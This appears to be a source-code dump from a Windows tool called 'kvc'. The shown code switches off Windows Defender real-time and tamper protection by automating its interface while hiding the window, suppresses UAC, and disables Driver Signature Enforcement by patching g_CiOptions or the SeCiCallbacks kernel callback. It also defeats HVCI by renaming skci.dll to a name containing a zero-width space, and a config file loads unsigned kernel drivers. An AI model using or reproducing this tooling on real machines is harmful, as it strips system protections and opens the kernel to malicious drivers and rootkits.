            pButton->Release();
        }
    } else {
        pButton->Release();
        result = false;
    }

    DefenderStealth::RestoreUAC();
    return result;
}

bool WindowsDefenderAutomation::disableTamperProtection() {
    if (!DefenderStealth::BackupAndDisableUAC()) return false;

    IUIAutomationElement* pButton = findLastToggleSwitch();
    if (!pButton) { 
        DefenderStealth::RestoreUAC(); 
        return false; 
    }

    IUIAutomationTogglePattern* pToggle = nullptr;
    pButton->GetCurrentPatternAs(UIA_TogglePatternId, IID_IUIAutomationTogglePattern, (void**)&pToggle);

    bool result = true;
    if (pToggle) {
        ToggleState state;
        pToggle->get_CurrentToggleState(&state);
        
        if (state == ToggleState_On) {
            int baseline = countTotalElements();
            pToggle->Toggle();
            pToggle->Release();
            pButton->Release();
            result = waitForStructureChange(baseline, true);
            if (result) {
                std::wcout << L"[+] Tamper Protection disabled successfully\n";
            }
        } else {
            INFO_LOG(L"Tamper Protection already disabled");
            pToggle->Release();
            pButton->Release();
        }
    } else {
        pButton->Release();
        result = false;
    }

    DefenderStealth::RestoreUAC();
    return result;
}

bool WindowsDefenderAutomation::getTamperProtectionStatus() {
    IUIAutomationElement* pButton = findLastToggleSwitch();
    if (!pButton) return false;

    IUIAutomationTogglePattern* pToggle = nullptr;
    pButton->GetCurrentPatternAs(UIA_TogglePatternId, IID_IUIAutomationTogglePattern, (void**)&pToggle);

    bool isEnabled = false;
    if (pToggle) {
        ToggleState state;
        pToggle->get_CurrentToggleState(&state);
        isEnabled = (state == ToggleState_On);
        std::wcout << L"[*] Tamper Protection Status: " << (isEnabled ? L"ENABLED" : L"DISABLED") << L"\n";
        pToggle->Release();
    }
    pButton->Release();
    return isEnabled;
}

<<<FILE: kvc/DefenderUI.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     1.82 KB
// DefenderUI.h
// Windows Defender UI Automation for Real-Time Protection and Tamper Protection control

#pragma once

#include <windows.h>
#include <ole2.h>
#include <UIAutomation.h>
#include <UIAutomationClient.h>
#include <UIAutomationCore.h>
#include <string>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "oleaut32.lib")
#pragma comment(lib, "UIAutomationCore.lib")

// Automates Windows Security interface with TOPMOST console window as visual shield
// Uses structural density strategy for robust UI change detection
class WindowsDefenderAutomation {
private:
    IUIAutomation* pAutomation = nullptr;
    IUIAutomationElement* pRootElement = nullptr;
    HWND hwndSecurity = NULL;

    bool waitForUILoaded(int maxRetries = 20);
    IUIAutomationElement* findFirstToggleSwitch();
    IUIAutomationElement* findLastToggleSwitch();
    
    // Counts all descendant elements for structure change detection
    int countTotalElements();
    
    // Waits for UI element count to change (dialogs appearing/disappearing)
    bool waitForStructureChange(int baselineCount, bool expectIncrease, int timeoutSeconds = 10);
    
    // Cold boot handling - first run after login needs extra initialization
    bool isColdBoot();
    bool preWarmDefender();
    
    // Find the Windows Security window handle
    HWND findSecurityWindow(int maxRetries = 10);

public:
    WindowsDefenderAutomation();
    ~WindowsDefenderAutomation();

    bool openDefenderSettings();

    // Real-Time Protection
    bool toggleRealTimeProtection();
    bool enableRealTimeProtection();
    bool disableRealTimeProtection();
    bool getRealTimeProtectionStatus();

    // Tamper Protection
    bool toggleTamperProtection();
    bool enableTamperProtection();
    bool disableTamperProtection();
    bool getTamperProtectionStatus();

    void closeSecurityWindow();
};

<<<FILE: kvc/drivers.ini>>>
Created:  2026-05-04 01:14:15
Modified: 2026-05-04 01:13:03
Size:     1.12 KB
[Config]
Execute=YES
RestoreHVCI=YES
Verbose=YES
DriverDevice=\Device\kvc
IoControlCode_Read=2147491912
IoControlCode_Write=2147491916

[Driver0]
Action=LOAD
AutoPatch=YES
ServiceName=kvckbd
ImagePath=\SystemRoot\System32\drivers\kvckbd.sys
DriverType=1
StartType=2

[RenameX]
; Action=RENAME
; SourcePath=
; TargetPath=
; ReplaceIfExists=NO

[DeleteX]
; Action=DELETE
; DeletePath=
; RecursiveDelete=NO

[Driver1]
Action=LOAD
AutoPatch=YES
ServiceName=kvcstrm
ImagePath=\SystemRoot\System32\drivers\kvcstrm.sys
DriverType=1
StartType=1


<<<FILE: kvc/DSEBypass.cpp>>>
Created:  2026-04-10 16:16:50
Modified: 2026-04-10 16:16:50
Size:     27.15 KB
// DSEBypass.cpp
// Unified DSE Bypass Manager.
// g_CiOptions location is handled by CiOptionsFinder (semantic probe + build fallback).
// Standard method: g_CiOptions write + HVCI bypass via skci.dll rename.
// Safe method:     PDB-based SeCiCallbacks patching (preserves VBS).

#include "DSEBypass.h"
#include "TrustedInstallerIntegrator.h"
#include "common.h"
#include <psapi.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "psapi.lib")

// ============================================================================
// CONSTANTS
// ============================================================================

static constexpr DWORD64 CALLBACK_OFFSET = 0x20; // SeCiCallbacks callback offset

// ============================================================================
// KERNEL MODULE STRUCTURES
// ============================================================================

typedef struct _SYSTEM_MODULE {
    ULONG_PTR Reserved1;
    ULONG_PTR Reserved2;
    PVOID     ImageBase;
    ULONG     ImageSize;
    ULONG     Flags;
    USHORT    LoadOrderIndex;
    USHORT    InitOrderIndex;
    USHORT    LoadCount;
    USHORT    PathLength;
    CHAR      ImageName[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG         Count;
    SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

// ============================================================================
// CONSTRUCTION
// ============================================================================

DSEBypass::DSEBypass(std::unique_ptr<kvc>& driver, TrustedInstallerIntegrator* ti)
    : m_driver(driver)
    , m_trustedInstaller(ti)
    , m_ciFinder(driver)
{
    DEBUG(L"DSEBypass initialized");
}

// ============================================================================
// PUBLIC INTERFACE - METHOD DISPATCH
// ============================================================================

bool DSEBypass::Disable(Method method) noexcept {
    switch (method) {
        case Method::Standard: return DisableStandard();
        case Method::Safe:     return DisableSafe();
        default:
            ERROR(L"Unknown DSE bypass method");
            return false;
    }
}

bool DSEBypass::Restore(Method method) noexcept {
    switch (method) {
        case Method::Standard: return RestoreStandard();
        case Method::Safe:     return RestoreSafe();
        default:
            ERROR(L"Unknown DSE restore method");
            return false;
    }
}

// ============================================================================
// STATUS AND DIAGNOSTICS
// ============================================================================

bool DSEBypass::GetStatus(Status& outStatus) noexcept {
    auto ciBase = GetKernelModuleBase("ci.dll");
    if (!ciBase) {
        ERROR(L"Failed to locate ci.dll");
        return false;
    }

    ULONG_PTR ciOptionsAddr = FindCiOptions(ciBase.value());
    if (!ciOptionsAddr) {
        ERROR(L"Failed to locate g_CiOptions");
        return false;
    }

    auto current = m_driver->Read32(ciOptionsAddr);
    if (!current) {
        ERROR(L"Failed to read g_CiOptions");
        return false;
    }

    DWORD value = current.value();

    outStatus.CiOptionsAddress = ciOptionsAddr;
    outStatus.CiOptionsValue   = value;
    outStatus.DSEEnabled       = (value & 0x6) != 0;

    // HVCI detection: g_CiOptions bits first, registry fallback for 26H1+.
    bool hvciByBits = IsHVCIEnabled(value);
    bool hvciByReg  = !hvciByBits && CheckHVCIRegistry();
    outStatus.HVCIEnabled = hvciByBits || hvciByReg;
    if (hvciByReg) {
        DEBUG(L"HVCI not in g_CiOptions (0x%08X) but registry confirms HVCI active", value);
    }

    outStatus.SavedCallback = SessionManager::GetOriginalCiCallback();

    m_ciOptionsAddr    = ciOptionsAddr;
    m_originalCiOptions = value;

    return true;
}

// static
bool DSEBypass::CheckHVCIRegistry() noexcept {
    // Primary: SecurityServicesRunning bit 2 = HVCI running at boot.
    HKEY hKey = nullptr;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                      L"SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Status",
                      0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS) {
        DWORD val = 0, sz = sizeof(DWORD);
        LONG res = RegQueryValueExW(hKey, L"SecurityServicesRunning", nullptr, nullptr,
                                    reinterpret_cast<LPBYTE>(&val), &sz);
        RegCloseKey(hKey);
        if (res == ERROR_SUCCESS && (val & 0x4)) {
            DEBUG(L"HVCI confirmed via SecurityServicesRunning: 0x%08X", val);
            return true;
        }
    }

    // Fallback: scenario Running key set at boot when HVCI is active.
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                      L"SYSTEM\\CurrentControlSet\\Control\\DeviceGuard"
                      L"\\Scenarios\\HypervisorEnforcedCodeIntegrity",
                      0, KEY_QUERY_VALUE, &hKey) == ERROR_SUCCESS) {
        DWORD running = 0, sz = sizeof(DWORD);
        RegQueryValueExW(hKey, L"Running", nullptr, nullptr,
                         reinterpret_cast<LPBYTE>(&running), &sz);
        RegCloseKey(hKey);
        if (running != 0) {
            DEBUG(L"HVCI confirmed via scenario Running key: %d", running);
            return true;
        }
    }

    return false;
}

DSEBypass::DSEState DSEBypass::CheckSafeMethodState() noexcept {
    auto kernelInfo = GetKernelInfo();
    if (!kernelInfo) {
        return DSEState::UNKNOWN;
    }

    auto [kernelBase, kernelPath] = *kernelInfo;

    auto offsets = m_symbolEngine.GetSymbolOffsets(kernelPath);
    if (!offsets) {
        return DSEState::UNKNOWN;
    }

    auto [offSeCi, offZwFlush] = *offsets;

    DWORD64 targetAddress = kernelBase + offSeCi + CALLBACK_OFFSET;
    DWORD64 safeFunction  = kernelBase + offZwFlush;

    auto current = m_driver->Read64(targetAddress);
    if (!current) {
        return DSEState::UNKNOWN;
    }

    if (*current == safeFunction) {
        return DSEState::PATCHED;
    }

    auto original = SessionManager::GetOriginalCiCallback();
    if (original != 0 && *current == original) {
        return DSEState::NORMAL;
    }

    return DSEState::CORRUPTED;
}

std::wstring DSEBypass::GetDSEStateString(DSEState state) {
    switch (state) {
        case DSEState::NORMAL:    return L"NORMAL (DSE enabled)";
        case DSEState::PATCHED:   return L"PATCHED (DSE disabled)";
        case DSEState::CORRUPTED: return L"CORRUPTED (unknown callback)";
        default:                  return L"UNKNOWN (no data)";
    }
}

// ============================================================================
// STANDARD METHOD - g_CiOptions PATCHING
// ============================================================================

bool DSEBypass::DisableStandard() noexcept {
    DEBUG(L"Attempting to disable DSE using Standard method...");

    auto ciBase = GetKernelModuleBase("ci.dll");
    if (!ciBase) {
        ERROR(L"Failed to locate ci.dll");
        return false;
    }

    DEBUG(L"ci.dll base: 0x%llX", ciBase.value());

    m_ciOptionsAddr = FindCiOptions(ciBase.value());
    if (!m_ciOptionsAddr) {
        ERROR(L"Failed to locate g_CiOptions");
        return false;
    }

    DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr);

    auto current = m_driver->Read32(m_ciOptionsAddr);
    if (!current) {
        ERROR(L"Failed to read g_CiOptions");
        return false;
    }

    DWORD currentValue  = current.value();
    m_originalCiOptions = currentValue;
    DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);

    if (currentValue == 0x00000000) {
        INFO(L"DSE already disabled - no action required");
        SUCCESS(L"Kernel accepts unsigned drivers");
        return true;
    }

    // Defensive guard - Controller checks this via GetStatus first.
    if (IsHVCIEnabled(currentValue)) {
        INFO(L"g_CiOptions: 0x%08X - Memory Integrity active, direct patching not supported",
             currentValue);
        INFO(L"Use: 'kvc dse off --safe'");
        INFO(L"Or legacy HVCI bypass: 'kvc dse off' with 0x0001C006 flag");
        return true;
    }

    if (currentValue != 0x00000006) {
        INFO(L"g_CiOptions: 0x%08X (extra CI flags, no HVCI) - patching directly",
             currentValue);
        INFO(L"Note: 'kvc dse off --safe' is available as a non-invasive alternative");
    }

    DWORD newValue = 0x00000000;

    if (!m_driver->Write32(m_ciOptionsAddr, newValue)) {
        ERROR(L"Failed to write g_CiOptions");
        return false;
    }

    auto verify = m_driver->Read32(m_ciOptionsAddr);
    if (!verify || verify.value() != newValue) {
        ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
              newValue, verify ? verify.value() : 0xFFFFFFFF);
        return false;
    }

    SUCCESS(L"Driver signature enforcement is off");
    INFO(L"No restart required - unsigned drivers can now be loaded");
    return true;
}

bool DSEBypass::RestoreStandard() noexcept {
    DEBUG(L"Attempting to restore DSE using Standard method...");

    auto ciBase = GetKernelModuleBase("ci.dll");
    if (!ciBase) {
        ERROR(L"Failed to locate ci.dll");
        return false;
    }

    m_ciOptionsAddr = FindCiOptions(ciBase.value());
    if (!m_ciOptionsAddr) {
        ERROR(L"Failed to locate g_CiOptions");
        return false;
    }

    DEBUG(L"g_CiOptions address: 0x%llX", m_ciOptionsAddr);

    auto current = m_driver->Read32(m_ciOptionsAddr);
    if (!current) {
        ERROR(L"Failed to read g_CiOptions");
        return false;
    }

    DWORD currentValue = current.value();
    DEBUG(L"Current g_CiOptions: 0x%08X", currentValue);

    if ((currentValue & 0x6) != 0) {
        INFO(L"DSE already enabled (g_CiOptions = 0x%08X) - no action required",
             currentValue);
        SUCCESS(L"Driver signature enforcement is active");
        return true;
    }

    if (currentValue != 0x00000000) {
        INFO(L"DSE restore failed: g_CiOptions = 0x%08X (expected: 0x00000000)",
             currentValue);
        INFO(L"Use 'kvc dse' to check current protection status");
        return false;
    }

    DWORD newValue = 0x00000006;

    if (!m_driver->Write32(m_ciOptionsAddr, newValue)) {
        ERROR(L"Failed to write g_CiOptions");
        return false;
    }

    auto verify = m_driver->Read32(m_ciOptionsAddr);
    if (!verify || verify.value() != newValue) {
        ERROR(L"Verification failed (expected: 0x%08X, got: 0x%08X)",
              newValue, verify ? verify.value() : 0xFFFFFFFF);
        return false;
    }

    SUCCESS(L"Driver signature enforcement is on (0x%08X -> 0x%08X)",
            currentValue, newValue);
    INFO(L"Kernel protection reactivated - no restart required");
    return true;
}

// ============================================================================
// STANDARD METHOD - HVCI BYPASS (skci.dll manipulation)
// ============================================================================

bool DSEBypass::RenameSkciLibrary() noexcept {
    DEBUG(L"Attempting to rename skci.dll to disable hypervisor");

    if (!m_trustedInstaller) {
        ERROR(L"TrustedInstaller not available");
        return false;
    }

    wchar_t sysDir[MAX_PATH];
    if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
        ERROR(L"Failed to get System32 directory");
        return false;
    }

    std::wstring srcPath = std::wstring(sysDir) + L"\\skci.dll";
    std::wstring dstPath = std::wstring(sysDir) + L"\\skci\u200B.dll";

    DEBUG(L"Rename: %s -> %s", srcPath.c_str(), dstPath.c_str());

    if (!m_trustedInstaller->RenameFileAsTrustedInstaller(srcPath, dstPath)) {
        ERROR(L"Failed to rename skci.dll (TrustedInstaller operation failed)");
        return false;
    }

    SUCCESS(L"Windows hypervisor services temporarily suspended");
    return true;
}

bool DSEBypass::RestoreSkciLibrary() noexcept {
    DEBUG(L"Restoring skci.dll");

    if (!m_trustedInstaller) {
        ERROR(L"TrustedInstaller not available");
        return false;
    }

    wchar_t sysDir[MAX_PATH];
    if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
        ERROR(L"Failed to get System32 directory");
        return false;
    }

    std::wstring srcPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
    std::wstring dstPath = std::wstring(sysDir) + L"\\skci.dll";

    if (!m_trustedInstaller->RenameFileAsTrustedInstaller(srcPath, dstPath)) {
        DWORD error = GetLastError();
        ERROR(L"Failed to restore skci.dll (error: %d)", error);
        return false;
    }

    SUCCESS(L"skci.dll restored successfully");
    return true;
}

bool DSEBypass::CreatePendingFileRename() noexcept {
    DEBUG(L"Creating PendingFileRenameOperations for skci.dll restore");

    wchar_t sysDir[MAX_PATH];
    if (GetSystemDirectoryW(sysDir, MAX_PATH) == 0) {
        ERROR(L"Failed to get System32 directory");
        return false;
    }

    std::wstring srcPath = std::wstring(L"\\??\\") + sysDir + L"\\skci\u200B.dll";
    std::wstring dstPath = std::wstring(L"\\??\\") + sysDir + L"\\skci.dll";

    std::vector<wchar_t> multiString;
    multiString.insert(multiString.end(), srcPath.begin(), srcPath.end());
    multiString.push_back(L'\0');
    multiString.insert(multiString.end(), dstPath.begin(), dstPath.end());
    multiString.push_back(L'\0');
    multiString.push_back(L'\0'); // REG_MULTI_SZ terminator

    RegKeyGuard key;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                      L"SYSTEM\\CurrentControlSet\\Control\\Session Manager",
                      0, KEY_WRITE, key.addressof()) != ERROR_SUCCESS) {
        ERROR(L"Failed to open Session Manager key");
        return false;
    }

    LONG result = RegSetValueExW(
        key.get(), L"PendingFileRenameOperations", 0, REG_MULTI_SZ,
        reinterpret_cast<const BYTE*>(multiString.data()),
        static_cast<DWORD>(multiString.size() * sizeof(wchar_t)));

    if (result != ERROR_SUCCESS) {
        ERROR(L"Failed to set PendingFileRenameOperations (error: %d)", result);
        return false;
    }

    DWORD allowFlag = 1;
    result = RegSetValueExW(key.get(), L"AllowProtectedRenames", 0, REG_DWORD,
                            reinterpret_cast<const BYTE*>(&allowFlag), sizeof(DWORD));

    if (result != ERROR_SUCCESS) {
        ERROR(L"Failed to set AllowProtectedRenames (error: %d)", result);
        return false;
    }

    DEBUG(L"PendingFileRenameOperations: %s -> %s", srcPath.c_str(), dstPath.c_str());
    SUCCESS(L"File restore will be performed automatically by Windows on next boot");
    return true;
}

// ============================================================================
// SAFE METHOD - SeCiCallbacks PATCHING (PDB-based)
// ============================================================================

bool DSEBypass::DisableSafe() noexcept {
    INFO(L"Starting Safe DSE Bypass (SeCiCallbacks method)...");

    std::wstring currentLCUVer = GetCurrentLCUVersion();
    if (!currentLCUVer.empty()) {
        INFO(L"Current LCUVersion: %s", currentLCUVer.c_str());
    }

    auto kernelInfo = GetKernelInfo();
    if (!kernelInfo) {
        ERROR(L"Failed to get kernel information");
        return false;
    }

    auto [kernelBase, kernelPath] = *kernelInfo;
    INFO(L"Current Kernel Base: 0x%llX", kernelBase);

    INFO(L"Resolving symbols from PDB...");
    auto offsets = m_symbolEngine.GetSymbolOffsets(kernelPath);
    if (!offsets) {
        ERROR(L"Failed to get symbol offsets");
        return false;
    }

    auto [offSeCi, offZwFlush] = *offsets;

    if (!ValidateOffsets(offSeCi, offZwFlush, kernelBase)) {
        ERROR(L"Offset validation failed");
        return false;
    }

    DWORD64 seciBase      = kernelBase + offSeCi;
    DWORD64 targetAddress = seciBase + CALLBACK_OFFSET;
    DWORD64 safeFunction  = kernelBase + offZwFlush;

    DEBUG(L"Kernel base: 0x%llX", kernelBase);
    DEBUG(L"SeCi offset: 0x%llX", offSeCi);
    DEBUG(L"ZwFlush offset: 0x%llX", offZwFlush);
    DEBUG(L"SeCiCallbacks base: 0x%llX", seciBase);
    DEBUG(L"Target address: 0x%llX", targetAddress);
    DEBUG(L"Safe function: 0x%llX", safeFunction);

    auto current = m_driver->Read64(targetAddress);
    if (!current) {
        ERROR(L"Failed to read current kernel callback at 0x%llX", targetAddress);
        ERROR(L"Possible causes: Invalid address, driver not loaded, or memory protected");
        return false;
    }

    DEBUG(L"Current callback value: 0x%llX", *current);

    if (*current == safeFunction) {
        auto savedOriginal = SessionManager::GetOriginalCiCallback();
        if (savedOriginal == 0) {
            SessionManager::SaveOriginalCiCallback(*current);
            DEBUG(L"Saved current callback (already patched): 0x%llX", *current);
        }
        SUCCESS(L"DSE is already disabled (Safe Mode)");
        SUCCESS(L"State: PATCHED (ZwFlush callback active)");
        return true;
    }

    if (*current < 0xFFFFF80000000000ULL) {
        ERROR(L"Current value is not a valid kernel function address");
        ERROR(L"Value: 0x%llX (expected >= 0xFFFFF80000000000)", *current);
        ERROR(L"Target address calculation may be incorrect");
        return false;
    }

    auto savedOriginal = SessionManager::GetOriginalCiCallback();
    if (savedOriginal != 0 && *current == savedOriginal) {
        INFO(L"Current callback matches saved original");
        INFO(L"State: NORMAL (DSE enabled)");
        INFO(L"Proceeding with patch...");
    }

    SessionManager::SaveOriginalCiCallback(*current);
    DEBUG(L"Saved original callback: 0x%llX", *current);

    return ApplyCallbackPatch(targetAddress, safeFunction, *current);
}

bool DSEBypass::RestoreSafe() noexcept {
    INFO(L"Restoring DSE configuration (Safe method)...");

    std::wstring currentLCUVer = GetCurrentLCUVersion();
    if (!currentLCUVer.empty()) {
        INFO(L"Current LCUVersion: %s", currentLCUVer.c_str());
    }

    auto kernelInfo = GetKernelInfo();
    if (!kernelInfo) {
        ERROR(L"Failed to get kernel information");
        return false;
    }

    auto [kernelBase, kernelPath] = *kernelInfo;
    INFO(L"Current Kernel Base: 0x%llX", kernelBase);

    INFO(L"Resolving symbols from PDB...");
    auto offsets = m_symbolEngine.GetSymbolOffsets(kernelPath);
    if (!offsets) {
        ERROR(L"Failed to get symbol offsets");
        return false;
    }

    auto [offSeCi, offZwFlush] = *offsets;

    DWORD64 targetAddress = kernelBase + offSeCi + CALLBACK_OFFSET;
    DWORD64 safeFunction  = kernelBase + offZwFlush;

    auto current = m_driver->Read64(targetAddress);
    if (!current) {
        ERROR(L"Failed to read kernel callback at 0x%llX", targetAddress);
        return false;
    }

    DEBUG(L"Current value at 0x%llX: 0x%llX", targetAddress, *current);
    DEBUG(L"Safe function (ZwFlush): 0x%llX", safeFunction);

    if (*current == safeFunction) {
        auto original = SessionManager::GetOriginalCiCallback();
        if (original == 0) {
            ERROR(L"DSE is DISABLED (patched)");
            ERROR(L"No original callback saved - cannot restore");
            ERROR(L"State: PATCHED (restoration impossible)");
            return false;
        }
        INFO(L"DSE is DISABLED (patched)");
        INFO(L"Original callback available: 0x%llX", original);
        INFO(L"Proceeding with restoration...");
    }

    auto original = SessionManager::GetOriginalCiCallback();
    if (original != 0 && *current == original) {
        SUCCESS(L"DSE is already RESTORED");
        SUCCESS(L"Current callback matches saved original");
        SUCCESS(L"State: NORMAL (DSE enabled)");
        return true;
    }

    if (original == 0 && *current != safeFunction) {
        INFO(L"DSE appears to be in NORMAL state");
        INFO(L"No patch detected, no saved state");
        INFO(L"State: NORMAL (or unknown, no cache)");
        return true;
    }

    if (original == 0 && *current == safeFunction) {
        ERROR(L"DSE is DISABLED but no original callback saved");
        ERROR(L"State: PATCHED (cannot restore - no saved state)");
        return false;
    }

    INFO(L"Current state: PATCHED");
    INFO(L"Current callback: 0x%llX (ZwFlush)", *current);
    INFO(L"Restoring to original: 0x%llX", original);

    if (RestoreCallbackPatch(targetAddress, original)) {
        SUCCESS(L"DSE RESTORED successfully");
        SUCCESS(L"State changed: PATCHED -> NORMAL");
        DEBUG(L"Original callback kept in registry for future operations");
        return true;
    }

    ERROR(L"Failed to restore kernel callback");
    return false;
}

// ============================================================================
// SAFE METHOD - PATCH OPERATIONS
// ============================================================================

bool DSEBypass::ApplyCallbackPatch(DWORD64 targetAddress,
                                   DWORD64 safeFunction,
                                   DWORD64 originalCallback) noexcept {
    INFO(L"Patching CiValidateImageHeader callback");
    INFO(L"SeCiCallbacks base: 0x%llX", targetAddress - CALLBACK_OFFSET);
    INFO(L"Callback offset: +0x%llX", CALLBACK_OFFSET);
    INFO(L"Target address: 0x%llX", targetAddress);
    INFO(L"Original: 0x%llX", originalCallback);
    INFO(L"Patch to: 0x%llX (ZwFlushInstructionCache)", safeFunction);

    if (m_driver->Write64(targetAddress, safeFunction)) {
        auto verify = m_driver->Read64(targetAddress);
        if (verify && *verify == safeFunction) {
            SUCCESS(L"DSE disabled successfully via SeCiCallbacks");
            SUCCESS(L"Kernel callback redirected to ZwFlushInstructionCache");
            SUCCESS(L"State: NORMAL -> PATCHED");
            return true;
        }
        ERROR(L"Patch verification failed");
        m_driver->Write64(targetAddress, originalCallback);
        return false;
    }

    ERROR(L"Failed to write to kernel memory");
    return false;
}

bool DSEBypass::RestoreCallbackPatch(DWORD64 targetAddress,
                                     DWORD64 originalCallback) noexcept {
    INFO(L"Restoring original kernel callback...");
    INFO(L"Target: 0x%llX", targetAddress);
    INFO(L"Restore value: 0x%llX", originalCallback);

    if (m_driver->Write64(targetAddress, originalCallback)) {
        auto verify = m_driver->Read64(targetAddress);
        if (verify && *verify == originalCallback) {
            SUCCESS(L"Kernel callback restored successfully");
            return true;
        }
        ERROR(L"Restoration verification failed");
        return false;
    }

    ERROR(L"Failed to restore kernel callback");
    return false;
}

bool DSEBypass::ValidateOffsets(DWORD64 offSeCi,
                                DWORD64 offZwFlush,
                                DWORD64 /*kernelBase*/) noexcept {
    if (offSeCi == 0 || offZwFlush == 0) {
        ERROR(L"Invalid offsets (zero)");
        return false;
    }
    if (offSeCi > 0xFFFFFF || offZwFlush > 0xFFFFFF) {
        ERROR(L"Suspiciously large offsets");
        return false;
    }
    if (offSeCi >= offZwFlush) {
        INFO(L"SeCiCallbacks offset >= ZwFlush offset (unusual)");
    }

    DEBUG(L"Offsets validated: SeCi=0x%llX, ZwFlush=0x%llX", offSeCi, offZwFlush);
    return true;
}

// ============================================================================
// SAFE METHOD - KERNEL INFORMATION
// ============================================================================

std::optional<std::pair<DWORD64, std::wstring>> DSEBypass::GetKernelInfo() noexcept {
    LPVOID drivers[1024];
    DWORD  needed;

    if (!EnumDeviceDrivers(drivers, sizeof(drivers), &needed)) {
        ERROR(L"Failed to enumerate device drivers: %d", GetLastError());
        return std::nullopt;
    }

    DWORD64 kernelBase = reinterpret_cast<DWORD64>(drivers[0]);

    wchar_t kernelPath[MAX_PATH];
    if (!GetDeviceDriverFileNameW(drivers[0], kernelPath, MAX_PATH)) {
        ERROR(L"Failed to get kernel path: %d", GetLastError());
        return std::nullopt;
    }

    std::wstring ntPath = kernelPath;
    std::wstring dosPath;

    if (ntPath.find(L"\\SystemRoot\\") == 0) {
        wchar_t winDir[MAX_PATH];
        GetWindowsDirectoryW(winDir, MAX_PATH);
        dosPath = std::wstring(winDir) + ntPath.substr(11);
    } else if (ntPath.find(L"\\??\\") == 0) {
        dosPath = ntPath.substr(4);
    } else {
        dosPath = ntPath;
    }

    DEBUG(L"Kernel base: 0x%llX, path: %s", kernelBase, dosPath.c_str());
    return std::make_pair(kernelBase, dosPath);
}

std::wstring DSEBypass::GetCurrentLCUVersion() noexcept {
    std::wstring lcuVer;

    RegKeyGuard key;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE,
                      L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
                      0, KEY_READ | KEY_WOW64_64KEY, key.addressof()) == ERROR_SUCCESS) {
        wchar_t buffer[256] = {0};
        DWORD size = sizeof(buffer);
        DWORD type = 0;

        if (RegQueryValueExW(key.get(), L"LCUVer", nullptr, &type,
                             reinterpret_cast<BYTE*>(buffer), &size) == ERROR_SUCCESS &&
            type == REG_SZ) {
            lcuVer = buffer;
        } else {
            DEBUG(L"LCUVer not found in registry");
        }
    }

    return lcuVer;
}

// ============================================================================
// KERNEL MODULE HELPERS
// ============================================================================

ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept {
    return m_ciFinder.FindCiOptions(ciBase);
}

std::optional<ULONG_PTR> DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept {
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (!hNtdll) {
        ERROR(L"Failed to get ntdll.dll handle");
        return std::nullopt;
    }

    typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(
        ULONG SystemInformationClass,
        PVOID SystemInformation,
        ULONG SystemInformationLength,
        PULONG ReturnLength
    );

    auto pNtQuerySystemInformation = reinterpret_cast<NTQUERYSYSTEMINFORMATION>(
        GetProcAddress(hNtdll, "NtQuerySystemInformation"));

    if (!pNtQuerySystemInformation) {
        ERROR(L"Failed to get NtQuerySystemInformation");
        return std::nullopt;
    }

    ULONG bufferSize = 0;
    NTSTATUS status = pNtQuerySystemInformation(
        11, nullptr, 0, &bufferSize); // SystemModuleInformation

    if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH
        ERROR(L"NtQuerySystemInformation failed: 0x%08X", status);
        return std::nullopt;
    }

    auto buffer  = std::make_unique<BYTE[]>(bufferSize);
    auto modules = reinterpret_cast<PSYSTEM_MODULE_INFORMATION>(buffer.get());

    status = pNtQuerySystemInformation(11, modules, bufferSize, &bufferSize);
    if (status != 0) {
        ERROR(L"NtQuerySystemInformation failed (2nd call): 0x%08X", status);
        return std::nullopt;
    }

    for (ULONG i = 0; i < modules->Count; i++) {
        auto& mod = modules->Modules[i];

        const char* fileName = strrchr(mod.ImageName, '\\');
        if (fileName) {
            fileName++;
        } else {
            fileName = mod.ImageName;
        }

        if (_stricmp(fileName, moduleName) == 0) {
            ULONG_PTR baseAddr = reinterpret_cast<ULONG_PTR>(mod.ImageBase);

            if (baseAddr == 0) {
                ERROR(L"Module %S found but ImageBase is NULL", moduleName);
                continue;
            }

            DEBUG(L"Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize);
            return baseAddr;
        }
    }

    ERROR(L"Module %S not found in kernel", moduleName);
    return std::nullopt;
}

<<<FILE: kvc/DSEBypass.h>>>
Created:  2026-04-10 16:14:58
Modified: 2026-04-10 22:33:51
Size:     4.79 KB
// DSEBypass.h
// Unified DSE Bypass Manager - combines Standard and Safe (PDB-based) methods.
// g_CiOptions location is delegated to CiOptionsFinder.

#pragma once

#include "kvcDrv.h"
#include "SymbolEngine.h"
#include "SessionManager.h"
#include "CiOptionsFinder.h"
#include <memory>
#include <optional>
#include <utility>
#include <string>

// Forward declaration
class TrustedInstallerIntegrator;

class DSEBypass {
public:
    // Bypass method selection
    enum class Method {
        Standard,   // g_CiOptions modification + HVCI bypass via skci.dll rename
        Safe        // PDB-based SeCiCallbacks patching (preserves VBS)
    };

    // DSE state for Safe method
    enum class DSEState {
        UNKNOWN,
        NORMAL,      // DSE enabled, original callback active
        PATCHED,     // DSE disabled, ZwFlush callback active
        CORRUPTED    // Unknown callback value
    };

    // Status information structure
    struct Status {
        ULONG_PTR CiOptionsAddress;
        DWORD     CiOptionsValue;
        bool      DSEEnabled;
        bool      HVCIEnabled;
